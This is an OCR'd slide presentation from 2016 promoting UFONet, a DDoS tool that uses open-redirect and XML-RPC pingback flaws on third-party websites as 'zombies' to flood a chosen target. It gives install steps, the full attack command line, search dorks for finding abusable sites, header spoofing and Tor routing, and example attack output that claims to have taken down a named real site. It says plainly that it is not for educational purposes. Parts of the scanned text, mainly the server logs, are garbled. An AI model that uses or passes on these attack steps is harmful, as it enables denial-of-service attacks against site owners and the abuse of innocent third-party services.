(HTTP)WebAbuse...

“NiniaD DO Snation”
[2016]


https://twitter.com/search?f=tweets&vertical=default&q=ufonet&src=spxr
http://ufonet.03c8.net/

... “oderint dum metuant’...



! Last Release[10/2016]:
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* Scenarios

* Contribute



http://ufonet.03c8.net/ufonet/ufonet-v0.8.zip

/What ’'s UFONet?/ ! Topl0 App Security Risks:

+ Automatic tool to launch attacks - Rotnet

+ Languages: Python + Javascript + HTML5/CSSv3

+ License:
+ First Release:

— Born as module (2009)
- v0.1lb - 2013

+ Exploit 0SI/Layer-7 (HTTP/Web Abuse) :
— “Open Redirect” Vectors

OWASP :

+ Objetive - Resource Depletion (DoS)


https://www.owasp.org/index.php/Top_10_2013-Top_10
https://en.wikipedia.org/wiki/Application_layer_DDoS_attack
https://www.gnu.org/licenses/gpl-3.0.html
http://xsser.03c8.net/
https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards

/How it works?/ lFirst Video[2013]:

A web application accepts a user—-controlled input that
specifies a 1link to an external site and uses that 1ink
in a Redirect.

_|_

Applications accept arbitrary user—-defined URLs as input,
which are then used as targets for redirection.

Users may be unwittingly rerouted to a malicious site
from a site they trust.

- Ex: attacks. ..


http://ufonet.sourceforge.net/ufonet/UFONet-v0.1b.ogv
http://cwe.mitre.org/data/definitions/601.html
https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
https://en.wikipedia.org/wiki/Phishing

it works?/ | Videos[12/2016] :

Open Redirect
(ex: Validators)

Proxy [ex: Tor)

Target

~ AT -

IIF.’JNEW \i‘



https://www.youtube.com/results?search_query=ufonet

/Installation/ !Stats (sf.net):

+ Code repository:
$ git clone

+ Source “stable” packages:

[ ] —->

+ Present on (0OS security pentesting releases) :


https://sourceforge.net/projects/ufonet/files/stats/timeline
https://github.com/epsylon/ufonet
http://ufonet.03c8.net/ufonet/ufonet-v0.8.zip
http://ufonet.03c8.net/ufonet/ufonet-v0.8.zip.torrent
http://ufonet.03c8.net/ufonet/ufonet-v0.8.tar.gz
http://ufonet.03c8.net/ufonet/ufonet-v0.8.tar.gz.torrent
https://sourceforge.net/projects/ufonet/files/?source=navbar
http://cyborg.ztrela.com/ufonet.php/
https://www.blackarch.org/dos.html

/Installation/ | UFONet FAQ:

+ UFONet runs on many platforms:
e GNU/Linux (*Unix) / Win32 / 0OSx ..

+ It requires: ( )

+ On Debilan—-based systems (ex: Ubuntu), run (as root):
# apt—get install python-pycurl python—-geoip python-crypto
+ On other systems (Kali, Ubuntu, etc...) also run:

S pip install geolip requests pycrypto


http://ufonet.03c8.net/FAQ.html
https://www.python.org/downloads/
https://github.com/epsylon/ufonet/issues/13
http://pycurl.sourceforge.net/
https://pypi.python.org/pypi/GeoIP/
https://pypi.python.org/pypi/pycrypto

/Main—-features/ IFirst release date: 18/06/2013

+ Modularity:
e Code from scratch (Clean)
+ Proxy: (ex: )
e Master - Proxy - Proxy (Zombie) - Target
+ Spoofing: (HTTP Headers)
e User—-Agent/Referer/Host/X-Forwarded-For/..
+ Manage Botnet:

e Search 'zombies' on the Internet
e Test vulnerabilities (Open Redirect, XML-RPC...)

+ Impact: Multithread Request(s) / Evade cache /...



https://www.torproject.org/

/Main—features/ 1[12/2016] Community Botnet: 1845 ‘zombies’

* Zombie: HTTP GET 'Open Redirect' bot:

Ex: https://ZOMBIE.com/check?uri=STARGET
* Droid: HTTP GET 'Open Redirect' bot with params required:

Ex: https://ZOMBIE.COM/css—-validator/validator?
uri=STARGET&profile=css3&usermedium=all&vextwarning=true

* Alien: HTTP POST 'Open Redirect' bot:

Ex: https://ZOMBIE.com/analyze.html; SPOST;url=STARGET
* Drone: HTTP GET 'Web Abuse' bot:

Ex: https://www.isup.me/STARGET
* X=RPC: HTTP POST XML-RPC PingBack Vulnerability:

Ex: https://ZOMBIE.COM/xmlrpc.php



/Main—features/ !$ ufonet -h / —--help

888 868 8888888888 .d8B8888b. 888b 888 888

888 868 588 dgePY888b 8888b 888 888

888 888 888 888 888 B88888b 888 888

888 868 85688888 888 888 888Y88b 888 .d88b. 888888

888 888 888 888 888 888 Y88bBB8 dB8P Y8bh 888

888 888 888 888 888 888 YB88888 888688888 888

Y88b. .d88P 888 Y88b. .dB8P 888 Y8888 Y8b. Y88b.
'Y88888P" 888 'Y88888P' 888 Y888 'YB888 ‘Y8888

UFONet - DDoS attacks via Web Abuse - by psy

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v, --verbose active verbose on requests
--update check for latest stable version
--check-tor check to see if Tor is used properly
--force-yes set 'YES' to all questions

--gui run GUI (UFONet Web Interface)



/Main—features/ I$ ufonet --update

*Tools*:
--Crypter Encrypt/Decrypt messages using AES256+HMAC-SHAL
UFONet Crypter (AES256+HMAC-SHAL)
-> (140 plain text chars = 69 encrypted chars)

- Enter text: Hello World!
- Enter key: panopticon

-> Ciphertext: [ PQLSSDGG4BEP6OVZQaVYMUYFMUTbFATCTZKzUSuZ6gd55YYalemXthV/8GaC851 |
Length: 64
-> Key (share 1t using SNEAKNET!): panopticon

Decryption PoC: Hello World!



/Main—features/ | TOR: —-proxy ‘http://127.0.0.1:8118"

*Configure Request(s)*:
--proxy=PROXY Use proxy server (tor: 'http://127.0.0.1:8118")
--user-agent=AGENT Use another HTTP User-Agent header (default SPOOFED)
--referer=REFERER  Use another HTTP Referer header (default SPOOFED)

--host=HOST Use another HTTP Host header (default NONE)

--xforw Set your HTTP X-Forwarded-For with random IP values

--xclient Set your HTTP X-Client-IP with random IP values

--timeout=TIMEOUT  Select your timeout (default 10)

--retries=RETRIES Retries when the connection timeouts (default 1)

--threads=THREADS Maximum number of concurrent HTTP requests (default 5)

--delay=DELAY Delay in seconds between each HTTP request (default 0)
*Search for 'Zombies™:

-s SEARCH Search from a 'dork’ (ex: -s 'proxy.php?url=")

--sd=DORKS Search from 'dorks' file (ex: --sd 'botnet/dorks.txt")

--sn=NUM_RESULTS Set max number of results for engine (default 10)

--se=ENGINE Search engine to use for 'dorking' (default: bing)

--sa Search massively using all search engines

*Test Botnet*:
-t TEST Update 'zombies' status (ex: -t 'botnet/zombies.txt’)
--attack-me Order 'zombies' to attack you (NAT required!)
--test-rpc Update 'xml-rpc' reflectors status



/Main—features/ | Community BOINET: --download-zombies

*Community*;
--download-zombies  Download 'zombies' from Community 'blackhole’

--upload-zombies Upload your 'zombies' to Community 'blackhole'
--blackhole Create a 'blackhole’ to share your 'zombies'
--up-to=UPIP Upload your 'zombies' to a 'blackhole’
--down-from=DIP Download your '‘zombies' from a 'blackhole’

*Research Target*:

-1 INSPECT Search biggest file (ex: -i 'http(s)://target.com’)
*Configure Attack(s)*:

--no-head Disable status check: 'Is target up?'

--no-aliens Disable 'aliens' web abuse

--no-droids Disable 'droids' redirectors

--no-ucavs Disable 'ucavs' checkers

--NO-rpcs Disable 'xml-rpcs' reflectors

-r ROUNDS Set number of rounds (default: 1)

-b PLACE Set place to attack (ex: -b '/path/big.jpg’)

-a TARGET Start Web DDoS attack (ex: -a 'http(s)://target.com’)

*Special Attack(s)*:
--db=DBSTRESS Set db stress input point (ex: --db 'search.php?qg=")



/Main—features/ lWeb Interface (GUI): ufonet ——qgui

- is a tool designed to launch attacks against a.target,
using 'Open Redirect' vectors on third party web applications, like

START MOTHERSHIP!

This code is NOT for educational purposes!!

Project:



/Main—-features/ !Web Interface (GUI): Menu Attack

* 5et your target:

Help

* Number of rounds: 1

Botnet Configure requests [N RNt S BT

RETURN

IHSEEGt

ATTACK! | Total Botnet =




/Main—-features/ !Web Interface
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/Main—-features/
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/Main—features/ !Web Interface (GUI): CryptoNews

BlackholeIP: _ Search News...

Last -update:

R//zMB4bp6s4hETgc6kBjylgDegxbj 95v1vaBbsNRfgccmMmeBQ9Fv43DngFM:~:Q+U1fEb+c kTuQO/his1xnNSyScB64t ddSanZzW?pEOVBI-
1RHeHCcXGXBOpp+56@VRT1EUCDRHAsDyY6rBr fzZNGKRmMSwz J4VeXodPbkgZevBdL2xg3AZBTNAL14y4yISORRYELSgqMFpxcbgbVviwdQIg6B3zavyvklc8ST] Hg
UTAN]jtKTsPF6PEx1eXshhFn7MBBxUGPkK1iE]JBG2Mc jK1sMFVQ47k3/ T jHWbGpgOpbIMUeN34fsMrd4CwuvDg8Gpt41GPpZoBD%0Es6FOhPGWTYH/ Bkoeug==
IMIyBpFIq9MIhnjnvLZKp5FW209kBY3Qog+CAXUFwWbxH9nai@pnBggivvEg9VegLWwWpse6zvke3/SHEPCE9xUBdd9y5hMPsuB1Y1PALYXzDCosPcpkgiRcllgsVZmMilauOKJik4gIg



/Main—-features/

127.0.0.1

= Connect

Connect to freenode IRC

Nickname:
Channels:

Auth to services:

Humanity:

I'm not a robot

Connect




/Examples/ ! Search using all engines: ——sa

+ Searching for 'zombies':

UFONet will search for vulnerabilities on search engines.
1- Search for results:
Ex: ufonet -s 'proxy.php?url=' --sn '100'

e 'checklink?uri="
e 'validator?uri="

2— Test 1f they are valid:
Wanna check if they are valid zombies? (Y/n)
3— Update your list:

Wanna update your list (Y/n)



/Examples / !Documentation: README

+ Testing botnet:

UFONet will test 'Open Redirect' vulnerability.
http://target.com/check?uri=<PAYLOAD>
Ex: ufonet -t ‘bonet/zombies.txt’

1- Are they alive?:
HTTP HEAD Check:

— From master: REMEMBRER-> PROXY!!!
— From external:

2— Update your list:

Wanna update your list (Y/n)


http://target.com/check?uri
http://www.downforeveryoneorjustme.com/

/Examples/ !

+ Testing XML-RPC ‘zombies’:

UFONet will test 'XML-RPC Pingback' wvulnerability.
http://target.com/xmlrpc.php

Ex: ufonet ——-test-rpc

Are 'plasma' reflectors ready? :—-) (XML-RPC Check):

Searching 'Pingback' on http://XXXXXXX.com/xmlrpc.php
[Info] It looks VULNERABLE !!! ;-)

Wanna update your army (Y/n)


https://www.incapsula.com/blog/wordpress-security-alert-pingback-ddos.html

/Examples/ | Set place to attack: -b '/path/big.jpg’

+ Inspecting a target:

This feature will provide you the biggest file on target.

Ex: ufonet -1 http(s)://target.com

+Image found: images/wizard. jpg
(Size: 63798 Bytes)

+Style (.css) found: fonts.css
(Size: 20448 Bytes)


http://target.com/images/wizard.jpg

/Examples/ !Biggest attack tested: 233.934 zombies

+ Attacking a target:

UFONet will conduct zombies to your target.
+ Number of rounds per zombile:
Ex: ufonet —-a “http(s)://target.com” -r 10 (-r 10000,..)
+ Reloading a specific place on target:
Ex: ufonet —-a “http(s)://target.com” -b "/big_ image.jpg"
Ex: ufonet —-a “http(s)://target.com”

* Round: Is target up?

Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)




/Examples/ Ex (Wordpress DB Input): —-db ‘?s=’

+ Special Attack(s):

UFONet will stress database on target.

Ex: ufonet —-a “http(s)://target.com” —--db 'search.php?g="
Request random valid strings like search queries:

Ex: http(s)://target.com/search.php?g=[?] [a-2/0-9]

[!] DB FLASH!!!!Ittt1l - (heavy query = 1024*x)



/Examples/ |Blackhole = P2P

+ Generating “Blackhole”:

UFONet has some P2P options to share/keep 'zombies'
with other 'motherships'.

FEx: ufonet —--blackhole

[Blackhole] Having sweet dreams...

[BlackRay] Emitting on port 9991

[Absorber] Ready to feed on port 9990

[BlackHole] Advancing time in another space (waiting for server)

[Computer] Power 0On

[BlackHole] all up and running



/Scenarios/ l“This tool is NOT for educational purposes”




/Scenarios/ | UFONet : “First FREE/GRATIS Ninja Botnet ;—)”

+ From Master:

ufonet —--check—-tor

Sending request to: https://check.torproject.org
Congratulations!. Tor 1s properly being used :-)

Your IP address appears to be: XXX.XXX.XXX.165



/Scenarios/ l«“a11 your ‘zombies’ are belong to Community”

ufonet -t ‘botnet/zombies.txt’

Zombie: anonymouse.org
Status: Ok [Z200]

Zombie: www.google.com
Status: Ok [200]

Zombie: translate.google.com
Status: Ok [200]

Zombie: validator.w3.org
Status: Ok [200]



/Scenarios/ | “UFONet supports IoT (Internet of Things)”

Ex (Open Redirect): ufonet —-a ‘http://myecoin.net’” —r 10000

Round: 'Is target up?'
From here: YES

From exterior: YES

Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)
Y

Zombie: 1 | Round: 1 | Total Rounds: 10000

Name: anonymouse.orqg
http://anonymouse.org/cgi-bin/anon-www.cgi/http://myecoin.net
status; Hit!

Zomble: 2 | Round: 1 | Total Rounds: 10000
Name: www.google.com
http://www.google.com/translate/u=http://myecoin.net

Status: Hit!


http://myecoin.net/

/Scenarios/ |“No origin, no meta, no traces...”

-.115.26.* - - [06/0ct/2014:22:21:28 +0200] "HEAD / HTTP/1.1" 200 286 "-* “Eurcbot/1.0 (http://www.ayell.su)"

50.97.161.229 - - [06/0ct/2014:22:21:3] +0200) "GET / HTTP/1.1" 208 4334 "-~ "SiteCheck - hitp://downforeveryoneorjusitme.com”
193.200.150.82 - - [06/0ct/2014:22:21:38 +0200) "GET / HTTP/1,0° 200 165617 "-" "http://Anonymouse.org/ (Unix)"

128.30.52.88 - - [06/0ct/2014:22:21:53 +0200]) "GET / MTTP/1.1" 200 4334 "." "FeedvValidator/1.3"

128.30.52.88 - - [06/0ct/2014:22:21:53 +0200]) "GET /?feed=rss2 HTTP/1.1" 200 1962 °-* “Feedvalidator/1.3"

128.30.52.73 - - [66/0ct/2014:22:22:02 +8200] "GET / HTTP/Ll«T" 200 4334 “;*" “ilat Validator/1.3 nitp://validator.w3.0rg/services”
128.30.52.103 - - [0o/0ct/2014:22:22:07 «0200) "GET / HTT'F!I 1* 200 16673 °-" ‘jig-:uwz 3.0 W3C_CSS_Validator_JFouffa/2.0 (See <

alidator.w3.org/services»)”
128.30.52.103 - - [06/0ct/2014:22:22:08 +0200) "GET .{hp CthtJthﬂurmresﬂmﬂtﬂc css?ver=3.9.2 HTTP/1.1" 260 51940 “http
in.net™ "Jigsaw/2.3.0 WIC_CSS Validator_ JFouffa/2.0/(See ‘ehtig://validator .w3. org/sefvices»)"

128.30.52.103 - . [06/0ct/2018:22:22:08 +0200) "GET /wptcontent /themes/expressions/ js/nivo-slider/nivo-slider.css?vers3.9.2 HTTP
© 2567 "nttp://myecoin.net” *Jigsaw/2.3.0 W3C_CSS Valigator JFouffa/2.0 (See <http://validator.w3.org/services>)”

128.30.52.103 - - [06/0ct/2014:22:22:08 +0200] /wp-content /themes/expressions/js/nivo-slider/thenes/default /default .css?ver
TTP/1.1" 200 5386 “http://myecoin.net” "Jiusavtf?.!.ﬁ W3CICSS_Validator_JFouffa/2.0 [Sea <http://validator.w3.org/services>»)"”
128.30.52.103 . . [06/0ct/2014:22:22:08 +0200) "GET /wp-Content/themes/expresslons/js/sliperfish/superfish,ces?ver=3,9.2 HTTP/1,1
35 "mttp://myecoin.net” "Jigsaw/2.3.0 W3C CSS Halimﬂur JFoufta/2.0 (See <nttp://validator.w3.org/services>)”

128.30.52.103 - - [06/0ct/2014:22:22:08 +9200] “GET /wp-content/themes/expresslons/css/nobile.css?ver=3.0.2 HTTP/1.1" 200 5455 *

yecoin.net" "Jigsaw/2.3.0 W3C_CSS_Validator JFouffa/2.0 (See <http://validatoriw3.org/services>)”

128.30.52.103 - - [06/0ct/2018:22:22:18 +0200) "GET / HITR/L, 1" 200 16673 *-""Digsaw/2.310 WiC _CSS_Velidator_JFouffa/2.0 (See <
alidator .w3.org/servicess)”

128.30.52.103 - - [06/0ct/2014:22:22:18 «0200] “GET /wp- cmenthhenesfliprmiﬁfstﬂe CssTver=3.9.2 HTTP/1.1" 200 51940 “"http
in.net” "Jigsaw/2.3.0 W3C_CSS_Validator_JFouffa/2.0 (See <https//vallidator.w3. org/services>)"

128.36.52.103 - - [aamcuzau 22:22:19 +0200) "GET /wp- tmtem.-’th!l&!!&xptessj.msfJ‘sfnlm-slid&r!nlm-slld&r css?ver=3.9.2 HTTP
0 2567 "mtip://myecoin.net” “Jigsaw/2.3.0 W3C_CSS_Validator_JFouffa/@2.0 (Sge<http;//vallidator w3, org/services>)”

128.30.52.103 - - [06/0ct/2014:22:22:19 +0200] “GET fhp-contentHhmsfe&presslonsrjsmwa-slJder.ftnele-smefan.ntmmaultmgg?\rer
TTP/1.1% 200 5306 “http://myecoin.net™ “Jigsaw/2.3.0 W3C_CSS_Validator_JFouffa/2.0 (See <http://validator.w3,org/services»)”
128.30.52.103 - - [06/0ct/2014:22:22:19 «-0200) "GET /wp-contenti/theses/expressions/js/super{ish/superfish.css?ver=3.9.2 HTTP/1.1



/Scenarios/ | “Hit&Run. ..4Fun!”

[Info] Flying some UCAYV with 'heat-beam' weapons...
[Info] UCAV: http://www.isup.me/ -> FAILED? || Report: Target looks OFFLINE from here!!! ;-)
[Info] UCAV: http://www.downforeveryoneorjustme.com/ -> FAILED? || Report: Target looks OFFLINE from here!!!

-]
[Info] Congratulations!. Your target looks OFFLINE from external sources...

Wanna send a [HEAD] check request from your proxy (y/N)y

[Info] #UFONet TANGO DOWN!!'! -= .net

It's not just you! http://www.foxconn.com looks down from here.




NOTE: (old version!) UFONet wv0.7 “Big Crunch!”



http://ufonet.03c8.net/ufonet/UFONet-v0.7.ogv
http://ufonet.03c8.net/ufonet/UFONet-v0.6.ogv
http://ufonet.03c8.net/ufonet/UFONet-v0.7.ogv

/Contribute/ | Wormhole: irc.freenode.net - #ufonet

+ Development:

Testing

Documentation

Bug Fixing / Hacking ;-)
Suggestions/Ideas/New features...

+ Support:
e Donations:

1063Kt1LGzX1YABXKkWFPNWo /nKPWFr3nrc
6enjPY7PZVa9gwXeVCxgIB8frsf4YFNzVp

e Promotions / Events / Jobs

eV VY


https://bitcoin.org/
http://myecoin.net/

! Author: epsylon@riseup.net - [ ]



mailto:epsylon@riseup.net
https://03c8.net/
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